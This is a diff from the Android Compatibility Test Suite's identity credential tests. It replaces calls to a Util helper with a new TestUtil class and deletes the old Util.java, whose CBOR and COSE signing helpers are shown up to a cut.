@@ -535,7 +568,7 @@
 
     @Test
     public void testProvisionAndRetrieve() throws IdentityCredentialException, CborException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -625,7 +658,7 @@
     @Test
     public void testProvisionAndRetrieveMultipleTimes() throws IdentityCredentialException,
             InvalidKeyException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -688,7 +721,7 @@
 
     @Test
     public void testProvisionAndRetrieveWithFiltering() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -741,7 +774,7 @@
 
     @Test
     public void testProvisionAndRetrieveElementWithNoACP() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -782,7 +815,7 @@
 
     @Test
     public void testProvisionAndRetrieveWithEntryNotInRequest() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -838,7 +871,7 @@
 
     @Test
     public void nonExistentEntries() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -883,7 +916,7 @@
 
     @Test
     public void multipleNamespaces() throws IdentityCredentialException, CborException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -978,7 +1011,7 @@
 
     @Test
     public void testProvisionAcpIdNotInValidRange() throws IdentityCredentialException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -1016,7 +1049,7 @@
     @Test
     public void testProvisionAcpIdNotStartingAtZero() throws
             IdentityCredentialException, CborException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
@@ -1105,11 +1138,11 @@
 
     @Test
     public void testUpdateCredential() throws IdentityCredentialException, CborException, NoSuchAlgorithmException {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         Context appContext = InstrumentationRegistry.getTargetContext();
         IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
-        assumeTrue("IdentityCredential.update() not supported", Util.getFeatureVersion() >= 202101);
+        assumeTrue("IdentityCredential.update() not supported", TestUtil.getFeatureVersion() >= 202101);
 
         // Create the credential...
         //
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index ce5e311..f01a1fd 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
+import com.android.security.identity.internal.Util;
 
 import android.security.identity.AccessControlProfile;
 import android.security.identity.AccessControlProfileId;
@@ -86,7 +87,7 @@
             KeyStoreException, CertificateException, NoSuchAlgorithmException, IOException,
             NoSuchProviderException, InvalidKeyException, SignatureException {
 
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         // We create two reader keys - 'A' and 'B' - and then generate certificates for each of
         // them, signed by a third key 'C'. We then provision a document with four elements where
diff --git a/tests/tests/identity/src/android/security/identity/cts/TestUtil.java b/tests/tests/identity/src/android/security/identity/cts/TestUtil.java
new file mode 100644
index 0000000..882439a
--- /dev/null
+++ b/tests/tests/identity/src/android/security/identity/cts/TestUtil.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.identity.cts;
+
+import android.security.identity.ResultData;
+import android.security.identity.IdentityCredentialStore;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.FeatureInfo;
+import android.os.SystemProperties;
+import android.security.keystore.KeyProperties;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyStore;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PublicKey;
+import java.security.PrivateKey;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.ECGenParameterSpec;
+import java.text.DecimalFormat;
+import java.text.DecimalFormatSymbols;
+import java.text.ParseException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Date;
+import java.util.List;
+import java.util.Locale;
+import java.util.Formatter;
+import java.util.Map;
+
+import javax.crypto.KeyAgreement;
+import javax.crypto.Mac;
+import javax.crypto.SecretKey;
+import javax.crypto.spec.SecretKeySpec;
+
+import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECPoint;
+
+import org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1OctetString;
+
+import co.nstant.in.cbor.CborBuilder;
+import co.nstant.in.cbor.CborDecoder;
+import co.nstant.in.cbor.CborEncoder;
+import co.nstant.in.cbor.CborException;
+import co.nstant.in.cbor.builder.ArrayBuilder;
+import co.nstant.in.cbor.builder.MapBuilder;
+import co.nstant.in.cbor.model.AbstractFloat;
+import co.nstant.in.cbor.model.Array;
+import co.nstant.in.cbor.model.ByteString;
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.DoublePrecisionFloat;
+import co.nstant.in.cbor.model.MajorType;
+import co.nstant.in.cbor.model.NegativeInteger;
+import co.nstant.in.cbor.model.SimpleValue;
+import co.nstant.in.cbor.model.SimpleValueType;
+import co.nstant.in.cbor.model.SpecialType;
+import co.nstant.in.cbor.model.UnicodeString;
+import co.nstant.in.cbor.model.UnsignedInteger;
+
+class TestUtil {
+    private static final String TAG = "Util";
+
+    // Returns 0 if not implemented. Otherwise returns the feature version.
+    //
+    static int getFeatureVersion() {
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        PackageManager pm = appContext.getPackageManager();
+
+        int featureVersionFromPm = 0;
+        if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+            FeatureInfo info = null;
+            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+            for (int n = 0; n < infos.length; n++) {
+                FeatureInfo i = infos[n];
+                if (i.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+                    info = i;
+                    break;
+                }
+            }
+            if (info != null) {
+                featureVersionFromPm = info.version;
+            }
+        }
+
+        // Use of the system feature is not required since Android 12. So for Android 11
+        // return 202009 which is the feature version shipped with Android 11.
+        if (featureVersionFromPm == 0) {
+            IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+            if (store != null) {
+                featureVersionFromPm = 202009;
+            }
+        }
+
+        return featureVersionFromPm;
+    }
+
+    // Returns true if, and only if, the Identity Credential HAL (and credstore) is implemented
+    // on the device under test.
+    static boolean isHalImplemented() {
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        if (store != null) {
+            return true;
+        }
+        return false;
+    }
+
+    // Returns true if, and only if, the Direct Access Identity Credential HAL (and credstore) is
+    // implemented on the device under test.
+    static boolean isDirectAccessHalImplemented() {
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getDirectAccessInstance(appContext);
+        if (store != null) {
+            return true;
+        }
+        return false;
+    }
+}
diff --git a/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
index 2c55042..e4bd81f 100644
--- a/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/UserAuthTest.java
@@ -27,6 +27,7 @@
 import android.security.identity.IdentityCredentialStore;
 import android.security.identity.WritableIdentityCredential;
 import android.security.identity.ResultData;
+import com.android.security.identity.internal.Util;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -197,7 +198,7 @@
     }
 
     void doTestUserAuth(DeviceLockSession dl, KeyguardManager keyguardManager) throws Exception {
-        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
 
         // This test creates two different access control profiles:
         //
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
deleted file mode 100644
index 733a401..0000000
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ /dev/null
@@ -1,1363 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.identity.cts;
-
-import android.security.identity.ResultData;
-import android.security.identity.IdentityCredentialStore;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.pm.FeatureInfo;
-import android.os.SystemProperties;
-import android.security.keystore.KeyProperties;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.math.BigInteger;
-import java.security.InvalidAlgorithmParameterException;
-import java.security.InvalidKeyException;
-import java.security.KeyStore;
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.security.PublicKey;
-import java.security.PrivateKey;
-import java.security.Signature;
-import java.security.SignatureException;
-import java.security.cert.CertificateEncodingException;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.ECGenParameterSpec;
-import java.text.DecimalFormat;
-import java.text.DecimalFormatSymbols;
-import java.text.ParseException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Date;
-import java.util.List;
-import java.util.Locale;
-import java.util.Formatter;
-import java.util.Map;
-
-import javax.crypto.KeyAgreement;
-import javax.crypto.Mac;
-import javax.crypto.SecretKey;
-import javax.crypto.spec.SecretKeySpec;
-
-import java.security.interfaces.ECPublicKey;
-import java.security.spec.ECPoint;
-
-import org.bouncycastle.asn1.ASN1InputStream;
-import org.bouncycastle.asn1.ASN1OctetString;
-
-import co.nstant.in.cbor.CborBuilder;
-import co.nstant.in.cbor.CborDecoder;
-import co.nstant.in.cbor.CborEncoder;
-import co.nstant.in.cbor.CborException;
-import co.nstant.in.cbor.builder.ArrayBuilder;
-import co.nstant.in.cbor.builder.MapBuilder;
-import co.nstant.in.cbor.model.AbstractFloat;
-import co.nstant.in.cbor.model.Array;
-import co.nstant.in.cbor.model.ByteString;
-import co.nstant.in.cbor.model.DataItem;
-import co.nstant.in.cbor.model.DoublePrecisionFloat;
-import co.nstant.in.cbor.model.MajorType;
-import co.nstant.in.cbor.model.NegativeInteger;
-import co.nstant.in.cbor.model.SimpleValue;
-import co.nstant.in.cbor.model.SimpleValueType;
-import co.nstant.in.cbor.model.SpecialType;
-import co.nstant.in.cbor.model.UnicodeString;
-import co.nstant.in.cbor.model.UnsignedInteger;
-
-class Util {
-    private static final String TAG = "Util";
-
-    // Returns 0 if not implemented. Otherwise returns the feature version.
-    //
-    static int getFeatureVersion() {
-        Context appContext = InstrumentationRegistry.getTargetContext();
-        PackageManager pm = appContext.getPackageManager();
-
-        int featureVersionFromPm = 0;
-        if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
-            FeatureInfo info = null;
-            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
-            for (int n = 0; n < infos.length; n++) {
-                FeatureInfo i = infos[n];
-                if (i.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
-                    info = i;
-                    break;
-                }
-            }
-            if (info != null) {
-                featureVersionFromPm = info.version;
-            }
-        }
-
-        // Use of the system feature is not required since Android 12. So for Android 11
-        // return 202009 which is the feature version shipped with Android 11.
-        if (featureVersionFromPm == 0) {
-            IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
-            if (store != null) {
-                featureVersionFromPm = 202009;
-            }
-        }
-
-        return featureVersionFromPm;
-    }
-
-    static byte[] canonicalizeCbor(byte[] encodedCbor) throws CborException {
-        ByteArrayInputStream bais = new ByteArrayInputStream(encodedCbor);
-        List<DataItem> dataItems = new CborDecoder(bais).decode();
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        for(DataItem dataItem : dataItems) {
-            CborEncoder encoder = new CborEncoder(baos);
-            encoder.encode(dataItem);
-        }
-        return baos.toByteArray();
-    }
-
-
-    static String cborPrettyPrint(byte[] encodedBytes) throws CborException {
-        StringBuilder sb = new StringBuilder();
-
-        ByteArrayInputStream bais = new ByteArrayInputStream(encodedBytes);
-        List<DataItem> dataItems = new CborDecoder(bais).decode();
-        int count = 0;
-        for (DataItem dataItem : dataItems) {
-            if (count > 0) {
-                sb.append(",\n");
-            }
-            cborPrettyPrintDataItem(sb, 0, dataItem);
-            count++;
-        }
-
-        return sb.toString();
-    }
-
-    // Returns true iff all elements in |items| are not compound (e.g. an array or a map).
-    static boolean cborAreAllDataItemsNonCompound(List<DataItem> items) {
-        for (DataItem item : items) {
-            switch (item.getMajorType()) {
-                case ARRAY:
-                case MAP:
-                    return false;
-                default:
-                    // continue inspecting other data items
-            }
-        }
-        return true;
-    }
-
-    static void cborPrettyPrintDataItem(StringBuilder sb, int indent, DataItem dataItem) {
-        StringBuilder indentBuilder = new StringBuilder();
-        for (int n = 0; n < indent; n++) {
-            indentBuilder.append(' ');
-        }
-        String indentString = indentBuilder.toString();
-
-        if (dataItem.hasTag()) {
-            sb.append(String.format("tag %d ", dataItem.getTag().getValue()));
-        }
-
-        switch (dataItem.getMajorType()) {
-            case INVALID:
-                // TODO: throw
-                sb.append("<invalid>");
-                break;
-            case UNSIGNED_INTEGER: {
-                // Major type 0: an unsigned integer.
-                BigInteger value = ((UnsignedInteger) dataItem).getValue();
-                sb.append(value);
-            }
-            break;
-            case NEGATIVE_INTEGER: {
-                // Major type 1: a negative integer.
-                BigInteger value = ((NegativeInteger) dataItem).getValue();
-                sb.append(value);
-            }
-            break;
-            case BYTE_STRING: {
-                // Major type 2: a byte string.
-                byte[] value = ((ByteString) dataItem).getBytes();
-                sb.append("[");
-                int count = 0;
-                for (byte b : value) {
-                    if (count > 0) {
-                        sb.append(", ");
-                    }
-                    sb.append(String.format("0x%02x", b));
-                    count++;
-                }
-                sb.append("]");
-            }
-            break;
-            case UNICODE_STRING: {
-                // Major type 3: string of Unicode characters that is encoded as UTF-8 [RFC3629].
-                String value = ((UnicodeString) dataItem).getString();
-                // TODO: escape ' in |value|
-                sb.append("'" + value + "'");
-            }
-            break;
-            case ARRAY: {
-                // Major type 4: an array of data items.
-                List<DataItem> items = ((co.nstant.in.cbor.model.Array) dataItem).getDataItems();
-                if (items.size() == 0) {
-                    sb.append("[]");
-                } else if (cborAreAllDataItemsNonCompound(items)) {
-                    // The case where everything fits on one line.
-                    sb.append("[");
-                    int count = 0;
-                    for (DataItem item : items) {
-                        cborPrettyPrintDataItem(sb, indent, item);
-                        if (++count < items.size()) {
-                            sb.append(", ");
-                        }
-                    }
-                    sb.append("]");
-                } else {
-                    sb.append("[\n" + indentString);
-                    int count = 0;
-                    for (DataItem item : items) {
-                        sb.append("  ");
-                        cborPrettyPrintDataItem(sb, indent + 2, item);
-                        if (++count < items.size()) {
-                            sb.append(",");
-                        }
-                        sb.append("\n" + indentString);
-                    }
-                    sb.append("]");
-                }
-            }
-            break;
-            case MAP: {
-                // Major type 5: a map of pairs of data items.
-                Collection<DataItem> keys = ((co.nstant.in.cbor.model.Map) dataItem).getKeys();
-                if (keys.size() == 0) {
-                    sb.append("{}");
-                } else {
-                    sb.append("{\n" + indentString);
-                    int count = 0;
-                    for (DataItem key : keys) {
-                        sb.append("  ");
-                        DataItem value = ((co.nstant.in.cbor.model.Map) dataItem).get(key);
-                        cborPrettyPrintDataItem(sb, indent + 2, key);
-                        sb.append(" : ");
-                        cborPrettyPrintDataItem(sb, indent + 2, value);
-                        if (++count < keys.size()) {
-                            sb.append(",");
-                        }
-                        sb.append("\n" + indentString);
-                    }
-                    sb.append("}");
-                }
-            }
-            break;
-            case TAG:
-                // Major type 6: optional semantic tagging of other major types
-                //
-                // We never encounter this one since it's automatically handled via the
-                // DataItem that is tagged.
-                throw new RuntimeException("Semantic tag data item not expected");
-
-            case SPECIAL:
-                // Major type 7: floating point numbers and simple data types that need no
-                // content, as well as the "break" stop code.
-                if (dataItem instanceof SimpleValue) {
-                    switch (((SimpleValue) dataItem).getSimpleValueType()) {
-                        case FALSE:
-                            sb.append("false");
-                            break;
-                        case TRUE:
-                            sb.append("true");
-                            break;
-                        case NULL:
-                            sb.append("null");
-                            break;
-                        case UNDEFINED:
-                            sb.append("undefined");
-                            break;
-                        case RESERVED:
-                            sb.append("reserved");
-                            break;
-                        case UNALLOCATED:
-                            sb.append("unallocated");
-                            break;
-                    }
-                } else if (dataItem instanceof DoublePrecisionFloat) {
-                    DecimalFormat df = new DecimalFormat("0",
-                            DecimalFormatSymbols.getInstance(Locale.ENGLISH));
-                    df.setMaximumFractionDigits(340);
-                    sb.append(df.format(((DoublePrecisionFloat) dataItem).getValue()));
-                } else if (dataItem instanceof AbstractFloat) {
-                    DecimalFormat df = new DecimalFormat("0",
-                            DecimalFormatSymbols.getInstance(Locale.ENGLISH));
-                    df.setMaximumFractionDigits(340);
-                    sb.append(df.format(((AbstractFloat) dataItem).getValue()));
-                } else {
-                    sb.append("break");
-                }
-                break;
-        }
-    }
-
-    public static byte[] encodeCbor(List<DataItem> dataItems) {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        CborEncoder encoder = new CborEncoder(baos);
-        try {
-            encoder.encode(dataItems);
-        } catch (CborException e) {
-            throw new RuntimeException("Error encoding data", e);
-        }
-        return baos.toByteArray();
-    }
-
-    public static byte[] coseBuildToBeSigned(byte[] encodedProtectedHeaders,
-            byte[] payload,
-            byte[] detachedContent) {
-        CborBuilder sigStructure = new CborBuilder();
-        ArrayBuilder<CborBuilder> array = sigStructure.addArray();
-
-        array.add("Signature1");
-        array.add(encodedProtectedHeaders);
-
-        // We currently don't support Externally Supplied Data (RFC 8152 section 4.3)
-        // so external_aad is the empty bstr
-        byte emptyExternalAad[] = new byte[0];
-        array.add(emptyExternalAad);
-
-        // Next field is the payload, independently of how it's transported (RFC
-        // 8152 section 4.4). Since our API specifies only one of |data| and
-        // |detachedContent| can be non-empty, it's simply just the non-empty one.
-        if (payload != null && payload.length > 0) {
-            array.add(payload);
-        } else {
-            array.add(detachedContent);
-        }
-        array.end();
-        return encodeCbor(sigStructure.build());
-    }
-
-    private static final int COSE_LABEL_ALG = 1;
-    private static final int COSE_LABEL_X5CHAIN = 33;  // temporary identifier
-
-    // From "COSE Algorithms" registry
-    private static final int COSE_ALG_ECDSA_256 = -7;
-    private static final int COSE_ALG_HMAC_256_256 = 5;
-
-    private static byte[] signatureDerToCose(byte[] signature) {
-        if (signature.length > 128) {
-            throw new RuntimeException("Unexpected length " + signature.length
-                    + ", expected less than 128");
-        }
-        if (signature[0] != 0x30) {
-            throw new RuntimeException("Unexpected first byte " + signature[0]
-                    + ", expected 0x30");
-        }
-        if ((signature[1] & 0x80) != 0x00) {
-            throw new RuntimeException("Unexpected second byte " + signature[1]
-                    + ", bit 7 shouldn't be set");
-        }
-        int rOffset = 2;
-        int rSize = signature[rOffset + 1];
-        byte[] rBytes = stripLeadingZeroes(
-            Arrays.copyOfRange(signature,rOffset + 2, rOffset + rSize + 2));
-
-        int sOffset = rOffset + 2 + rSize;
-        int sSize = signature[sOffset + 1];
-        byte[] sBytes = stripLeadingZeroes(
-            Arrays.copyOfRange(signature, sOffset + 2, sOffset + sSize + 2));
-
-        if (rBytes.length > 32) {
-            throw new RuntimeException("rBytes.length is " + rBytes.length + " which is > 32");
-        }
-        if (sBytes.length > 32) {
-            throw new RuntimeException("sBytes.length is " + sBytes.length + " which is > 32");
-        }
-
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        try {
-            for (int n = 0; n < 32 - rBytes.length; n++) {
-                baos.write(0x00);
-            }
-            baos.write(rBytes);
-            for (int n = 0; n < 32 - sBytes.length; n++) {
-                baos.write(0x00);
-            }
-            baos.write(sBytes);
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
-        }
-        return baos.toByteArray();
-    }
-
-    // Adds leading 0x00 if the first encoded byte MSB is set.
-    private static byte[] encodePositiveBigInteger(BigInteger i) {
-        byte[] bytes = i.toByteArray();
-        if ((bytes[0] & 0x80) != 0) {
-            ByteArrayOutputStream baos = new ByteArrayOutputStream();
-            try {
-                baos.write(0x00);
-                baos.write(bytes);
-            } catch (IOException e) {
-                e.printStackTrace();
-                throw new RuntimeException("Failed writing data", e);
-            }
-            bytes = baos.toByteArray();
-        }
-        return bytes;
-    }
-
-    private static byte[] signatureCoseToDer(byte[] signature) {
-        if (signature.length != 64) {
-            throw new RuntimeException("signature.length is " + signature.length + ", expected 64");
-        }
-        BigInteger r = new BigInteger(Arrays.copyOfRange(signature, 0, 32));
-        BigInteger s = new BigInteger(Arrays.copyOfRange(signature, 32, 64));
-        byte[] rBytes = encodePositiveBigInteger(r);
-        byte[] sBytes = encodePositiveBigInteger(s);
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        try {
-            baos.write(0x30);
-            baos.write(2 + rBytes.length + 2 + sBytes.length);
-            baos.write(0x02);
-            baos.write(rBytes.length);
-            baos.write(rBytes);
-            baos.write(0x02);
-            baos.write(sBytes.length);
-            baos.write(sBytes);
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
-        }
-        return baos.toByteArray();
-    }
-
-    public static byte[] coseSign1Sign(PrivateKey key,
-            @Nullable byte[] data,
-            byte[] detachedContent,
-            @Nullable Collection<X509Certificate> certificateChain)
-            throws NoSuchAlgorithmException, InvalidKeyException, CertificateEncodingException {
-
-        int dataLen = (data != null ? data.length : 0);
-        int detachedContentLen = (detachedContent != null ? detachedContent.length : 0);
-        if (dataLen > 0 && detachedContentLen > 0) {
-            throw new RuntimeException("data and detachedContent cannot both be non-empty");
-        }
-
-        CborBuilder protectedHeaders = new CborBuilder();
-        MapBuilder<CborBuilder> protectedHeadersMap = protectedHeaders.addMap();
-        protectedHeadersMap.put(COSE_LABEL_ALG, COSE_ALG_ECDSA_256);
-        byte[] protectedHeadersBytes = encodeCbor(protectedHeaders.build());
-
-        byte[] toBeSigned = coseBuildToBeSigned(protectedHeadersBytes, data, detachedContent);
-
-        byte[] coseSignature = null;
-        try {
-            Signature s = Signature.getInstance("SHA256withECDSA");
-            s.initSign(key);
-            s.update(toBeSigned);
-            byte[] derSignature = s.sign();
-            coseSignature = signatureDerToCose(derSignature);
-        } catch (SignatureException e) {
-            throw new RuntimeException("Error signing data");
-        }
-
-        CborBuilder builder = new CborBuilder();
-        ArrayBuilder<CborBuilder> array = builder.addArray();
-        array.add(protectedHeadersBytes);
-        MapBuilder<ArrayBuilder<CborBuilder>> unprotectedHeaders = array.addMap();
-        if (certificateChain != null && certificateChain.size() > 0) {
-            if (certificateChain.size() == 1) {
-                X509Certificate cert = certificateChain.iterator().next();
-                unprotectedHeaders.put(COSE_LABEL_X5CHAIN, cert.getEncoded());
-            } else {
-                ArrayBuilder<MapBuilder<ArrayBuilder<CborBuilder>>> x5chainsArray =
-                        unprotectedHeaders.putArray(COSE_LABEL_X5CHAIN);
-                for (X509Certificate cert : certificateChain) {
-                    x5chainsArray.add(cert.getEncoded());
-                }
-            }
-        }
-        if (data == null || data.length == 0) {
-            array.add(new SimpleValue(SimpleValueType.NULL));
-        } else {
-            array.add(data);
-        }
-        array.add(coseSignature);
-
-        return encodeCbor(builder.build());
-    }
-
-    public static boolean coseSign1CheckSignature(byte[] signatureCose1,
-            byte[] detachedContent,
-            PublicKey publicKey) throws NoSuchAlgorithmException, InvalidKeyException {
-        ByteArrayInputStream bais = new ByteArrayInputStream(signatureCose1);
-        List<DataItem> dataItems = null;
-        try {
-            dataItems = new CborDecoder(bais).decode();
-        } catch (CborException e) {
-            throw new RuntimeException("Given signature is not valid CBOR", e);
-        }
-        if (dataItems.size() != 1) {
-            throw new RuntimeException("Expected just one data item");
-        }
-        DataItem dataItem = dataItems.get(0);
-        if (dataItem.getMajorType() != MajorType.ARRAY) {
-            throw new RuntimeException("Data item is not an array");
-        }
-        List<DataItem> items = ((co.nstant.in.cbor.model.Array) dataItem).getDataItems();
-        if (items.size() < 4) {
-            throw new RuntimeException("Expected at least four items in COSE_Sign1 array");
-        }
-        if (items.get(0).getMajorType() != MajorType.BYTE_STRING) {
-            throw new RuntimeException("Item 0 (protected headers) is not a byte-string");
-        }
-        byte[] encodedProtectedHeaders =
-                ((co.nstant.in.cbor.model.ByteString) items.get(0)).getBytes();
-        byte[] payload = new byte[0];
-        if (items.get(2).getMajorType() == MajorType.SPECIAL) {
-            if (((co.nstant.in.cbor.model.Special) items.get(2)).getSpecialType()
-                != SpecialType.SIMPLE_VALUE) {
-                throw new RuntimeException("Item 2 (payload) is a special but not a simple value");
-            }
-            SimpleValue simple = (co.nstant.in.cbor.model.SimpleValue) items.get(2);
-            if (simple.getSimpleValueType() != SimpleValueType.NULL) {
-                throw new RuntimeException("Item 2 (payload) is a simple but not the value null");
-            }
-        } else if (items.get(2).getMajorType() == MajorType.BYTE_STRING) {
-            payload = ((co.nstant.in.cbor.model.ByteString) items.get(2)).getBytes();
-        } else {
-            throw new RuntimeException("Item 2 (payload) is not nil or byte-string");
-        }
-        if (items.get(3).getMajorType() != MajorType.BYTE_STRING) {
-            throw new RuntimeException("Item 3 (signature) is not a byte-string");
-        }
-        byte[] coseSignature = ((co.nstant.in.cbor.model.ByteString) items.get(3)).getBytes();
-
-        byte[] derSignature = signatureCoseToDer(coseSignature);
-
-        int dataLen = payload.length;
-        int detachedContentLen = (detachedContent != null ? detachedContent.length : 0);
-        if (dataLen > 0 && detachedContentLen > 0) {
-            throw new RuntimeException("data and detachedContent cannot both be non-empty");
-        }
-
-        byte[] toBeSigned = Util.coseBuildToBeSigned(encodedProtectedHeaders,
-                payload, detachedContent);
-
-        try {
-            Signature verifier = Signature.getInstance("SHA256withECDSA");
-            verifier.initVerify(publicKey);
-            verifier.update(toBeSigned);
-            return verifier.verify(derSignature);
-        } catch (SignatureException e) {
-            throw new RuntimeException("Error verifying signature");
-        }
-    }
-
-    // Returns the empty byte-array if no data is included in the structure.
-    //
-    // Throws RuntimeException if the given bytes aren't valid COSE_Sign1.
-    //
-    public static byte[] coseSign1GetData(byte[] signatureCose1) {
-        ByteArrayInputStream bais = new ByteArrayInputStream(signatureCose1);
-        List<DataItem> dataItems = null;
-        try {
-            dataItems = new CborDecoder(bais).decode();
-        } catch (CborException e) {
